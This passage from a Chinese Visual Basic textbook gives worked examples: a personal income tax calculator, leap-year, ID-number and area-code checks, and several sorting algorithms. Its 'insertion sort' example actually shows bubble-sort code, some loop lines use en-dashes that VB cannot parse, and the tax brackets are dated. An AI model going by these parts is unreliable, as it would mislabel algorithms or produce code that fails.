小财神个人所得税计算器是一款精巧实用的个人所得税计算工具，运行程序，选择收入的类型，当收入类型为“工资、薪金所得”时，需要填写收入金额、各项社会保险费和起征额3项内容，单击“计算”按钮，将得出应缴纳税款和税后收入；当收入类型为其他时，只需输入收入金额，单击“计算”按钮，将得出应纳税额和税后收入，程序的运行效果如图4.13所示。

[image: ]
图4.13　个人所得税计算器



关键技术

个人所得税计算器主要是根据纳税算法进行设计的，纳税范围包括工资薪金所得；个体工商户的生产、经营所得；对企事业单位的承包经营、承租经营所得；劳务报酬所得；稿酬所得；特许权使用费所得；利息、股息、红利所得；财产租赁所得；财产转让所得；偶然所得；经国务院财政部门确定征税其他所得。

个人所得税计算公式：

应缴纳的个税＝[（应发工资-四金或三金）-2000]×税率-速算扣除数

设计过程

（1）新建VB工程，将窗体的Caption属性设置为“个人所得税计算器”，并设置窗体的Picture属性。

（2）在窗体上添加一个ComboBox控件，命名为Cbx_type，并设置其Font属性为合适的字体和大小等。

（3）在窗体上添加5个TextBox控件，分别命名为txt_income、txt_insurance、txt_start、txt_pay和txt_ actual_income，用于输入或显示收入金额、各项社会保险费、起征额、应纳税款和税后收入。

（4）在窗体上添加一个Label控件，BackStyle属性设置为0-None，Caption属性设置为“计算”，放在图片的按钮上。

（5）进行代码设计。

在加载窗体时，初始化ComboBox控件的项目内容，程序代码如下：



Private Sub Form_Load()
    Me.Cbx_type.AddItem "工资、薪金所得"
    Me.Cbx_type.AddItem "个体工商户的生产、经营所得"
    Me.Cbx_type.AddItem "对企事业单位的承包经营、承租"
    Me.Cbx_type.AddItem "劳动报酬所得"
    Me.Cbx_type.AddItem "稿酬所得"
    Me.Cbx_type.AddItem "特许权使用费所得"
    Me.Cbx_type.AddItem "财产租赁所得"
    Me.Cbx_type.AddItem "财产转让所得"
    Me.Cbx_type.AddItem "利息、股息、红利所得"
    Me.Cbx_type.AddItem "偶然所得"
    Me.Cbx_type.ListIndex = 0
End Sub




自定义过程，工资、薪金所得适用的计算方法，程序代码如下：



Private Sub tax_count0()
    If Val(txt_income) - Val(txt_start) <= 0 Then
        txt_pay = 0
        txt_actual_income = Val(txt_income) - Val(txt_insurance)
    ElseIf Val(txt_income) - Val(txt_start) > 0 And Val(txt_income) - Val(txt_start) <= 500 Then
        tax_rate = 5
        deduction = 0
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 500 And Val(txt_income) - Val(txt_start) <= 2000 Then
        tax_rate = 10
        deduction = 25
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 2000 And Val(txt_income) - Val(txt_start) <= 5000 Then
        tax_rate = 15
        deduction = 125
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 5000 And Val(txt_income) - Val(txt_start) <= 20000 Then
        tax_rate = 20
        deduction = 375
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 20000 And Val(txt_income) - Val(txt_start) <= 40000 Then
        tax_rate = 25
        deduction = 1375
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 40000 And Val(txt_income) - Val(txt_start) <= 60000 Then
        tax_rate = 30
        deduction = 3375
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 60000 And Val(txt_income) - Val(txt_start) <= 80000 Then
        tax_rate = 35
        deduction = 6375
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 80000 And Val(txt_income) - Val(txt_start) <= 100000 Then
        tax_rate = 40
        deduction = 10375
        Call Formula0
    ElseIf Val(txt_income) - Val(txt_start) > 100000 Then
        tax_rate = 45
        deduction = 15375
        Call Formula0
    End If
End Sub




自定义过程，工资、薪金所得适用的计算公式，程序代码如下：



Private Sub Formula0()
    txt_pay = ((Val(txt_income) - Val(txt_insurance)) - Val(txt_start)) * tax_rate / 100 - deduction
    txt_actual_income = Val(txt_income) - txt_pay - Val(txt_insurance)
End Sub




秘笈心法

心法领悟085：获得当前季节。

DatePart函数可以根据给定的参数，返回当前日期的年、月、季等信息。如下代码是获得当前日期所处季节。



Sub NowQ()
Dim Str
Str = DatePart("q", Now)  '计算当前时间是一年中的哪个季节
   If Str = 1 Then
        MsgBox "当前是春季"
   ElseIf Str = 2 Then
        MsgBox "当前是夏季"
   ElseIf Str = 3 Then
        MsgBox "当前是秋季"
   ElseIf Str = 4 Then
        MsgBox "当前是冬季"
   End If
End Sub





 4.2　判断类算法



 实例086　判断闰年

光盘位置：光盘\MR\04\086

高级

趣味指数：[image: ]




实例说明

设计一个程序，用于实现判断输入的年份是否为闰年，如图4.14所示（提示，闰年同时满足如下条件：① 可以被400整除；② 可以被4整除，但是不能被100整除）。

[image: ]
图4.14　判断输入年份是否为闰年



关键技术

本实例主要是通过使用判断闰年的算法，在输入年份时需要验证输入是否全部为数字，使用到了IsNumeric函数。


说明：
 IsNumeric函数的详细讲解请参见实例079中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断闰年”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，名称使用其默认名称。

（4）在Frame1控件上添加一个Label控件，名称使用其默认名称，Caption属性设置为“输入要判断的年份：”，BackStyle属性设置为0-Transparent，并设置Font属性。

（5）在Frame1控件上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（6）在Frame1控件上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“判断”，并设置Font属性。

（7）程序的运行代码如下：



Private Sub Command1_Click()
    If IsNumeric(Text1.Text) Then                            '判断输入内容是否全部为数字
        If LeapYear(Text1.Text) = True Then                        '调用过程
            MsgBox Text1.Text & "年是闰年"                    '提示是闰年信息
        Else
            MsgBox Text1.Text & "年不是闰年"                    '提示不是闰年的信息
        End If
    Else
        MsgBox "请输入正确的年份"                            '提示信息
    End If
End Sub
Public Function LeapYear(ByVal Yea As Integer) As Boolean
    If ((Yea Mod 4) = 0) Then
        LeapYear = ((Yea Mod 100) > 0) Or ((Yea Mod 400) = 0)            '判断闰年的算法
    End If
End Function




秘笈心法

心法领悟086：IIf函数的使用小知识。

IIf函数的作用是根据表达式的值，返回两部分中其中一个的值或表达式，语法如下：



IIf(<表达式>,<值或表达式1>, <值或表达式2>)




表达式是必选参数，用来判断值的表达式；值或表达式1是必选参数，如果表达式为True，则返回这个值或表达式；值或表达式2是必选参数，如果表达式为False，则返回这个值或表达式。


注意：
 如果表达式1或表达式2中任何一个在计算时发生错误，那么程序就会发生错误。



 实例087　判断身份证是否合法

光盘位置：光盘\MR\04\087

高级

趣味指数：[image: ]




实例说明

判断身份证是否合法首先判断身份证的长度是否是15位（旧）或者18位（新），根据判断结果若长度为15位，则将其转换为18位。然后再分别判断其各个位置上的信息是否正确，程序的运行效果如图4.15所示。

[image: ]
图4.15　身份证号码是否有效



关键技术

本实例主要是通过使用Array函数和Len函数等来实现的。

Len函数用于返回Long，其中包含字符串内字符的数目，或是存储一变量所需的字节数，语法如下：



Len(string | varname)




参数说明

❶string：任何有效的字符串表达式。如果string包含Null，会返回Null。

❷varname：任何有效的变量名称。如果varname包含Null，会返回Null。如果varname是Variant，Len会视其为string并且总是返回其包含的字符数。

使用Len函数可以得知某字符串的长度（字符数）或某变量的大小（位数），如下面的代码所示：



Str = Len("MyString")　    '变量Str的值为8





说明：
 Array函数的详细讲解请参见实例054中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“身份证号码是否合法”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Label1的Caption属性设置为“请输入身份证号码”，Label2用于显示输入的身份证号码是否有效。

（4）在窗体上添加一个TextBox控件，用于输入身份证号码；添加两个CommandButton控件，Caption属性分别设置为“判断”和“退出”。

（5）程序的运行代码如下：



If IsNumeric(Text1.Text) = False Then
    Label1.Caption = "输入身份证号码无效！"
ElseIf Len(Text1.Text) = 15 Then   '转换为18位
    x = Array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1)
    y = Array("1", "0", "x", "9", "8", "7", "6", "5", "4", "3", "2")
    temp = Mid(Text1.Text, 1, 6)
    temp = temp + "19"
    temp1 = Mid(Text1.Text, 7, 15)
    temp = temp + temp1
    S = 0
    For i = 0 To 16
        j = Int(Mid(temp, i + 1, 1)) * x(i)
        S = S + j
    Next i
    S = S Mod 11
    Str1 = temp + Trim(y(S))
ElseIf Len(Text1.Text) = 18 Then
    Str1 = Text1.Text
ElseIf Len(Text1.Text) <> 15 And Len(Text1.Text) <> 18 Then
    Label1.Caption = " 输入身份证号码无效！"
End If




秘笈心法

心法领悟087：辅助控制语句的End语句与Exit语句勿混淆。

End语句用来结束一个过程或块。End语句与Exit语句容易混淆，Exit语句是用来退出Do…Loop、For…Next、Function、Sub或Property的代码块，并不说明一个结构的终止；而End语句是终止一个结构。



 实例088　判断城市电话区号是否正确

光盘位置：光盘\MR\04\088

高级

趣味指数：[image: ]




实例说明

本实例实现了判断城市电话区号是否正确的功能。运行程序，在文本框中输入要判断的城市电话区号，单击“判断”按钮，将判断结果显示在窗体上，程序的运行效果如图4.16所示。

[image: ]
图4.16　判断城市电话区号是否正确



关键技术

判断城市电话区号是否正确，首先判断电话区号是3位还是4位的。然后再依据相应的位数，判断号码是否正确。程序中主要用到了IsNumeric 函数和If语句的相关知识。


说明：
 （1）IsNumeric函数的详细讲解请参见实例079中的关键技术。

（2）关于If语句知识可以参见第2章2.4中的例子的关键技术对If语句的讲解。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断城市电话区号是否正确”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Label1的Caption属性设置为“请输入要判断的区号”，Label2用于显示输入的区号是否合法。

（4）在窗体上添加一个TextBox控件，用于输入区号；添加两个CommandButton控件，Caption属性分别设置为“判断”和“退出”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
Dim Str1, Str2, Str3, Str4 As String
If Not IsNumeric(Text1.Text) Then
  Label1.Caption = "不合法"
Else
  If Len(Text1.Text) = 3 Or Len(Text1.Text) = 4 Then
     Str1 = Left(Text1.Text, 1)
     If Str1 <> "0" Then
       Label1.Caption = "不合法"
     Else
       Str2 = Left(Right(Text1.Text, Len(Text1.Text) - 1), 1)
       If Str2 = "2" Then
          If Len(Text1.Text) = 3 And Text1.Text <> "026" Then
             Label1.Caption = "合法"
          Else
             Label1.Caption = "不合法"
          End If
       ElseIf Str2 = "1" Then
          If Text1.Text = "010" Then
            Label1.Caption = "合法"
          Else
            Label1.Caption = "不合法"
          End If
       ElseIf Str2 = "0" Then
          Label1.Caption = "不合法"
       Else
         If Len(Text1.Text) = 4 Then
            Str3 = Left(Right(Text1.Text, Len(Text1.Text) - 2), 1)
            If Str3 = "0" Then
               Label1.Caption = "不合法"
            Else
               Label1.Caption = "合法"
            End If
         Else
           Label1.Caption = "不合法"
         End If
       End If
     End If
  End If
End If
End Sub




秘笈心法

心法领悟088：辅助控制语句的GoTo语句。

GoTo语句使程序无条件跳转到过程中指定的语句行执行，语法如下：



GoTo <行号|行标签>




（1）GoTo语句只能跳转到它所在过程中的行。

（2）行标签是任何字符的组合，不区分大小写，必须以字母开头，以冒号“:”结尾，且必须放在行的开始位置。

（3）行号是一个数字序列，且在使用行号的过程内该序列是唯一的。行号必须放在行的开始位置。

（4）太多的GoTo语句，会使程序代码不容易阅读及调试。所以应尽可能少用或不用GoTo语句。


 4.3　排序类算法



 实例089　直接插入排序算法

光盘位置：光盘\MR\04\089

高级

趣味指数：[image: ]




实例说明

直接插入排序（Straight Insertion Sort）是一种简单的排序方法，它的基本操作是将一个记录插入到一个已排好序的有序表中的合适位置，使新得到的表仍然为有序表。直接插入排序属于稳定的排序，时间复杂度为O（n^2），空间复杂度为O（1）。例如，本例设计：首先在“请输入数组”文本框中输入任意一组一维数组，数组元素之间用“,”（英文标点）隔开；然后单击“排列”按钮，在“按照从小到大的顺序排列”文本框中显示出排序结果，算法的运行效果如图4.17所示。

[image: ]
图4.17　直接插入排序算法运行结果



关键技术

本实例主要是通过使用直接插入排序的基本思想来实现的。下面讲解直接插入排序的基本思想。

直接插入排序的基本思想是：将一个含有n个元素的表看成是一个有序表和一个无序表的组合，起始有序表中只含有一个元素，即表中的第一个元素，起始无序表为后n-1个元素，排序过程中每次取出无序表中的第一个元素，将其插入到有序表中适当位置，使之成为新的且记录数增加一个的有序表。这样进行n-1趟排序，将完成排序过程。

通常将一个记录R（i）[i=1…n-1]插入到当前有序序列的适当位置，使得插入后的序列仍然为有序序列的过程称之为第i趟直接插入排序。

一趟直接排序的过程：假设经过i-1趟排序，此时有序表中含有i个元素，即R（0，i-1）为一个有序表，则第i趟排序为将无序表R（I，n-1）中第一个元素R（i）插入到有序表R（0，i-1）中的合适位置，使得R（0，i）为一个有序表，如图4.18所示。

[image: ]
图4.18　直接插入排序算法流程图



设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“直接插入排序”，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体上添加两个Label控件，名称均使用其默认名称，并分别设置其Caption属性为“请输入数组：”和“按照从小到大的顺序排列：”。

（3）在窗体上添加两个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，MultiLine属性均设置为True，Text2控件的ScrollBars属性设置为2-Vertical。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“排列”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Call Sort                                            '调用过程
End Sub
Private Sub Sort()
    Dim i, j, h As Integer                                    '定义整型变量
    Dim r() As String                                    '定义字符串变量数组
    Dim k As String                                        '定义字符串变量
    r() = Split(Text1.Text, ",")                                '给数组赋值
    Text2.Text = Text2.Text & "[初始关键字]： "
    For t = 0 To UBound(r)                                '循环语句
        Text2.Text = Text2.Text & r(t) & "  "                        '显示初始关键字
    Next t
    Text2.Text = Text2.Text & vbCrLf & vbCrLf                    '文本框内部换行
    For i = 0 To UBound(r) – 1                                '外循环
        For j = 0 To UBound(r) - i – 1                            '内循环
            If Val(r(j)) > Val(r(j + 1)) Then                        '判断条件
                k = r(j)                                    '赋值语句
                r(j) = r(j + 1)                                '赋值语句
                r(j + 1) = k                                '赋值语句
            End If
        Next j
        '显示第几趟排序结果
        Text2.Text = Text2.Text & i + 1 & " 趟排序结果： "
        For t = 0 To UBound(r)
            Text2.Text = Text2.Text & r(t) & "  "
        Next t
        Text2.Text = Text2.Text & vbCrLf                        '文本框内部换行
    Next i
End Sub




秘笈心法

心法领悟089：构成算法的基本控制结构小知识。

在程序设计中，构成算法的基本控制结构有3种：顺序结构、选择结构和循环结构。合理使用这些控制结构可以使程序结构清晰、易读性强，并且易于查错和排错，这也是正确算法的体现；反之则会造成程序质量下降，运行速度慢等。



 实例090　希尔排序算法

光盘位置：光盘\MR\04\090

高级

趣味指数：[image: ]




实例说明

本实例实现了希尔排序算法的功能。运行程序，首先在“请输入数组”文本框中输入任意一组一维数组，数组元素之间用“,”（英文标点）隔开；然后单击“排列”按钮，在“按照从小到大的顺序排列”文本框中显示出排序结果，算法的运行效果如图4.19所示。

[image: ]
图4.19　希尔排序



关键技术

希尔排序（Shell Sort）也称“缩小增量排序”，是将整个无序列分割成若干小的子序列分别进行直接插入排序，待整个序列中的元素基本有序时，再对全体元素进行一次直接插入排序，这样大大减少了元素移动的次数，提高了排序效率。

希尔排序的过程是：假定待排序列的数组为R[0…n-1]，先取一个正整数h1（h1<n），把数组中相隔h1的元素组成子序列，并分别对各子序列进行直接插入排序，然后取h2（h2<h1），重复上述的分组和排序，直到所取的增量hi=1，即把数组中的所有元素作为一个序列进行直接插入排序为止。

间隔序列的求得：间隔序列就是在希尔排序中使用的增量的序列。例如，在含有100个数据项的数组中，可能先以40为增量，然后以13为增量，以4为增量，最后以1为增量进行希尔排序。其中[40，13，4，1]就是一个间隔序列。

下面介绍两种间隔序列的求得方法。

方法一：在希尔排序算法中，可以利用公式h=3*h+1生成序列1，4，13，40等。当间隔数大于数组长度时停止这个过程。例如，对于数组长度为100的序列，序列的第5个数121就超过了数组的长度。因此，使用增量为40作为最大数字来开始这个排序过程，然后每完成一趟排序，用前面提供的公式的倒推式减小间隔：h=（h-1）/3，即按照增量序列为40，13，4，1为增量对序列进行希尔排序。

方法二：在希尔排序算法中，也可以利用公式n/2来求得间隔序列。例如，对于数组长度为100的序列，用此公式求得的序列为50，25，12，6，3，1。这个方法的好处是不需要在排序开始之前去找初始的间隔。


说明：
 间隔序列中的数字互质通常被认为是很重要：也就是说，除了1之外它们没有公约数。这个约束条件使每一趟排序更有可能保持前一趟排序已排好的效果。
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设计过程

希尔排序算法窗体的界面设计过程如下：

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“希尔排序”，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体上添加两个Label控件，名称均使用其默认名称，并分别设置其Caption属性为“请输入数　　组：”和“按照从小到大的顺序排列：”。

（3）在窗体上添加两个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，MultiLine属性均设置为True，Text2控件的ScrollBars属性设置为2-Vertical。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“排列”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Call ShellSort                                          '调用过程
End Sub
Private Sub ShellSort()
    Dim i, j, h, t, count As Integer                          '定义整型变量
    Dim r() As String                                        '定义字符串变量数组
    Dim k As String                                      '定义字符串变量
    r() = Split(Text1.Text, ",")                              '给数组赋值
    Do While UBound(r) / 3 > h
        h = h * 3 + 1                                      '计算增量h的值
    Loop
    Do While h > 0                                         '外循环
        For i = h To UBound(r)                             '一趟希尔排序循环
            k = r(i)                                       '将变量赋给暂存单元
            j = i                                          '赋值语句
            Do While j > h - 1 And Val(r(j - h)) > k           '内部直接插入排序
                r(j) = r(j - h)                                '赋值语句
                j = j - h                                  '赋值语句
                If j - h < 0 Then                          '判断是否满足条件
                    Exit Do                                '跳出Do循环
                End If
            Loop
            r(j) = k                                      '赋值语句
        Next i
        h = (h - 1) / 3                                    '计算增量h的值
        count = count + 1                                  '希尔排序的趟数
        Text2.Text = Text2.Text & count & " 趟排序结果： "
        For t = 0 To UBound(r)
            Text2.Text = Text2.Text & r(t) & "  "              '输出数组的值
        Next t
        Text2.Text = Text2.Text & vbCrLf                       '文本框内部换行
    Loop
End Sub




秘笈心法

心法领悟090：利用API函数调用Word。

API函数的WinExec函数虽然可以替代SHELL函数来调用一些外部程序，但也会出现SHELL函数的“文件未找到”错误信息。例如，调用Word就会产生这个错误，而使用API的ShellExecute函数调用Word就不会出现此类错误，代码如下：



Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
    Dim RET As Integer
    RET = ShellExecute(Me.hwnd, "open", "winword.EXE", "", 1, 5)
    If RET <> 0 Then Print "调用正确" Else Print "调用错误"
End Sub
Private Sub Command2_Click()
    End
End Sub






 实例091　选择排序算法

光盘位置：光盘\MR\04\091

高级

趣味指数：[image: ]




实例说明

选择排序（Selection Sort）是一种简单直观的排序算法。它的工作原理如下：首先在未排序序列中找到最小元素，存放到排序序列的起始位置，然后再从剩余未排序元素中继续寻找最小元素，然后放到排序序列末尾。依此类推，直到所有元素均排序完毕。选择排序算法的运行效果如图4.20所示。

[image: ]
图4.20　选择排序算法运行结果



关键技术

本实例主要是通过使用选择实例的算法来实现的。选择排序法指每次选择所要排序的数组中最大值（由大到小排序，由小到大排序则选择最小值）的数组元素，将这个数组元素的值与前面的数组元素的值互换。

选择排序（Selection Sort）是每一趟从n-i+1（i=1，2，…，n）个元素中选取一个最小的元素作为有序序列中的第i个元素，如图4.21所示。

[image: ]
图4.21　第i趟选择排序流程图



设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“选择排序”，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体上添加两个Label控件，名称均使用其默认名称，并分别设置其Caption属性为“请输入数组：”和“按照从小到大的顺序排列：”。

（3）在窗体上添加两个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，MultiLine属性均设置为True，Text2控件的ScrollBars属性设置为2-Vertical。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“排列”。

（5）程序的运行代码如下：



Dim i, j, k As Integer                                    '定义整型变量
Dim r() As String                                     '定义字符串变量数组
Dim pivotkey As String                                '定义字符串变量
Private Sub SelectSort(r() As String)
    Text2.Text = Text2.Text & "[初始关键字]： "           '文本框的显示内容
    For t = 0 To UBound(r)                            '循环语句
        Text2.Text = Text2.Text & r(t) & "  "            '显示初始关键字
    Next t
    Text2.Text = Text2.Text & vbCrLf & vbCrLf         '文本框内部换行
    For i = LBound(r) To UBound(r)
        k = i                                         '赋值语句
        For j = i + 1 To UBound(r)
            If Val(r(j)) < Val(r(k)) Then
                k = j                                 '赋值语句
            End If
        Next j
        If k <> i Then
            pivotkey = r(i)                          '赋值语句
            r(i) = r(k)                              '赋值语句
            r(k) = pivotkey                         '赋值语句
        End If
        '显示第几趟排序结果
        Text2.Text = Text2.Text & i + 1 & " 趟排序结果： "
        For t = 0 To UBound(r)
            Text2.Text = Text2.Text & r(t) & "  "        '文本框的显示内容
        Next t
        Text2.Text = Text2.Text & vbCrLf                '文本框内部换行
    Next i
End Sub
Private Sub Command1_Click()
    r() = Split(Text1.Text, ",")                         '给数组变量赋值
    Call SelectSort(r())                                 '调用过程
End Sub




秘笈心法

心法领悟091：迭代法。

迭代法也称为递推法，对于一个问题求解，可先给定一个初值，通过某一算法（公式）求得一个新值，再以新值作为初值，按照同样的算法求得另一个新值，这样经过有限次运算即可求得其解。



 实例092　起泡排序算法

光盘位置：光盘\MR\04\092

高级

趣味指数：[image: ]




实例说明

首先在“请输入数组”文本框中输入任意一组一维数组，数组元素之间用“,”（英文标点）隔开；然后单击“排列”按钮，在“按照从小到大的顺序排列”文本框中显示出排序结果，算法的运行效果如图4.22所示。

[image: ]
图4.22　起泡排序算法运行结果



关键技术

起泡排序（Bubble Sort）就是依次比较相邻两个元素，将小数放在前面，大数放在后面。即数列中的第1个元素与第2个元素进行比较，将小数放前，大数放后，然后比较第2个元素和第3个元素，将小数放前，大数放后，如此继续，直至比较最后两个数。这样经过第一趟排序之后，此时数列中最大的数将被排在最后的位置（即所谓的沉底）。然后进行第二趟排序，比较第1个元素和第2个元素，将小数放前，大数放后，然后比较第2个元素和第3个元素，将小数放前，大数放后。如此继续，直至比较到最后一个数的前边两个相邻的数，第二趟排序结束，此时在倒数第二个元素的位置上得到了数列中第二大的数。如此下去，直至最终完成排序，如图4.23所示。

[image: ]
图4.23　一趟起泡排序算法流程图



设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“起泡排序”，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体上添加两个Label控件，名称均使用其默认名称，并分别设置其Caption属性为“请输入数组：”和“按照从小到大的顺序排列：”。

（3）在窗体上添加两个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，MultiLine属性均设置为True，Text2控件的ScrollBars属性设置为2-Vertical。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“排列”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Call BubbleSort                                        '调用过程
End Sub
Private Sub BubbleSort()
    Dim i, j, h As Integer                                    '定义整型变量
    Dim r() As String                                    '定义字符串变量数组
    Dim k As String                                        '定义字符串变量
    r() = Split(Text1.Text, ",")                                '给数组赋值
    Text2.Text = Text2.Text & "[初始关键字]： "
    For t = 0 To UBound(r)                                '循环语句
        Text2.Text = Text2.Text & r(t) & "  "                        '显示初始关键字
    Next t
    Text2.Text = Text2.Text & vbCrLf & vbCrLf                    '文本框内部换行
    For i = 0 To UBound(r) – 1                                '外循环
        For j = 0 To UBound(r) - i – 1                            '内循环
            If Val(r(j)) > Val(r(j + 1)) Then                        '判断条件
                k = r(j)                                    '赋值语句
                r(j) = r(j + 1)                                '赋值语句
                r(j + 1) = k                                '赋值语句
            End If
        Next j
        '显示第几趟排序结果
        Text2.Text = Text2.Text & i + 1 & " 趟排序结果： "
        For t = 0 To UBound(r)
            Text2.Text = Text2.Text & r(t) & "  "
        Next t
        Text2.Text = Text2.Text & vbCrLf                        '文本框内部换行
    Next i
End Sub




秘笈心法

心法领悟092：分治算法。

再复杂的难题都可以看作一些简单问题的组合，分治算法的设计思想是将一个复杂的问题，分割成一些规模较小的相同问题，以便各个击破、分而治之。例如，计算1到n阶乘的和1!+2!+3!+n!，1!等于1是已知的；2!等于1乘以2；3!等于1乘以2再乘以3；由此可以看出一个数的阶乘等于这个数前一个数的阶乘，再乘以这个数，即n!=（n-1）!*n。



 实例093　快速排序算法

光盘位置：光盘\MR\04\093

高级

趣味指数：[image: ]




实例说明

首先在“请输入数组”文本框中输入任意一组一维数组，数组元素之间用“,”（英文标点）隔开；然后单击“排列”按钮，在“按照从小到大的顺序排列”文本框中显示出排序结果，算法的运行效果如图4.24所示。

[image: ]
图4.24　快速排序算法运行结果



关键技术

快速排序（Qucik Sort）是对起泡排序的一种改进。它的基本思想是通过一趟排序将待排序的数据分割成独立的两个部分。其中一部分的所有数据都比另一部分的所有数据要小，然后再按照此方法对这两部分数据分别进行快速排序，整个排序过程可以递归进行，以此达到整个序列变成有序序列。

快速排序算法的过程：假设要排序的数组为R（0…n），首先任意取一个数据（通常选用数组中的第一个数据）作为关键数据，然后将所有比它小的数据都放到它的前面，所有比它大的数据都放到它的后面，这个过程称为一趟快速排序。一趟快速排序的算法是：

（1）设置两个变量low、high，排序开始时：low=0，high=n。

（2）以数组中的第一个元素作为枢纽数据（支点数据），赋值给pivotkey，即pivotkey = R（low）。

（3）从high开始向前搜索，即由后开始向前搜索，找到第一个小于pivotkey的数据，和枢纽数据进行交换。

（4）从low开始向后搜索，即由前开始向后搜索，找到第一个大于pivotkey的数据，和枢纽数据进行交换。

（5）重复第（3）、（4）步的操作，直到low=high，如图4.25所示。

[image: ]
图4.25　一次快速排序分划流程图



快速排序算法经过一趟排序之后，整个排序过程可以递归进行。

设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“快速排序”，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体上添加两个Label控件，名称均使用其默认名称，并分别设置其Caption属性为“请输入数组：”和“按照从小到大的顺序排列：”。

（3）在窗体上添加两个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，MultiLine属性均设置为True，Text2控件的ScrollBars属性设置为2-Vertical。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“排列”。

（5）程序的运行代码如下：



Dim i, j, k, low, high As Integer                            '定义整型变量
Dim r() As String                                    '定义字符串变量数组
Dim pivotlic As Integer                                '定义整型变量
Dim pivotkey As String                                '定义字符串变量
'一趟快速排序将序列分割成两部分
Private Function partition(r() As String, low As Integer, high As Integer) As Integer
    i = low                                        '赋值语句
    j = high                                        '赋值语句
    pivotkey = r(low)                                '赋值语句
    Do While low < high                                '循环语句
        Do While low < high And Val(r(high)) >= Val(pivotkey)
            high = high - 1
        Loop
        r(low) = r(high)
        Do While low < high And Val(r(low)) <= Val(pivotkey)
            low = low + 1
        Loop
        r(high) = r(low)
    Loop
    r(low) = pivotkey
    partition = low
    low = i
    high = j
    k = k + 1
    Text2.Text = Text2.Text & k & " 次分划结果： "
    For t = 0 To UBound(r)
        Text2.Text = Text2.Text & r(t) & "  "
    Next t
    Text2.Text = Text2.Text & vbCrLf                        '文本框内部换行
End Function
'利用递归对序列进行快速排序
Private Sub QuickSort(r() As String, low As Integer, high As Integer)
    i = low
    j = high
    '想办法把初始值和结束值取出来，只做了一趟循环的
    If (low < high) Then
        pivotlic = partition(r(), low, high)
        Call QuickSort(r, low, pivotlic - 1)
        Call QuickSort(r, pivotlic + 1, high)
    End If
End Sub
Private Sub Command1_Click()
    k = 0
    r() = Split(Text1.Text, ",")
    Text2.Text = Text2.Text & "[初始关键字]： "
    For t = 0 To UBound(r)                            '循环语句
        Text2.Text = Text2.Text & r(t) & "  "                    '显示初始关键字
    Next t
    Text2.Text = Text2.Text & vbCrLf & vbCrLf            '文本框内部换行
    Call QuickSort(r, LBound(r), UBound(r))
End Sub




秘笈心法

心法领悟093：字典算法。

字典算法是一种最简单的压缩算法。该算法是把字符串出现频率比较多的单词或词汇组合，做成一个用特殊代码来表示这个单词或词汇的对应的字典列表，如表4.1所示。

表4.1　字典算法



	字典列表
	单词或词汇组合



	00
	mingrisoft



	01
	中国



	02
	长春



	03
	明日




假设当前原字符串为“明日科技，地址：中国吉林省长春市；网址www.mingrisoft.com”，通过字典算法压缩后为“03科技，地址：01吉林省02市；网址www. 00.com”。



 实例094　归并排序算法

光盘位置：光盘\MR\04\094

高级

趣味指数：[image: ]




实例说明

用归并排序法对以下数据进行由小到大排序，数据分别为6　65　77　32　78　33　56　89　31　68，程序的运行效果如图4.26所示。

[image: ]
图4.26　归并排序



关键技术

归并是将两个或多个有序记录序列合并成一个有序序列。归并方法有多种，一次对两个有序记录序列进行归并，称为二路归并排序，也有三路归并排序及多路归并排序。本实例是二路归并排序，基本方法如下：

（1）将n个记录看成是n个长度为1的有序子表。

（2）将两两相邻的有序子表进行归并。

（3）重复执行（2），直到归并成一个长度为n的有序表。

设计过程

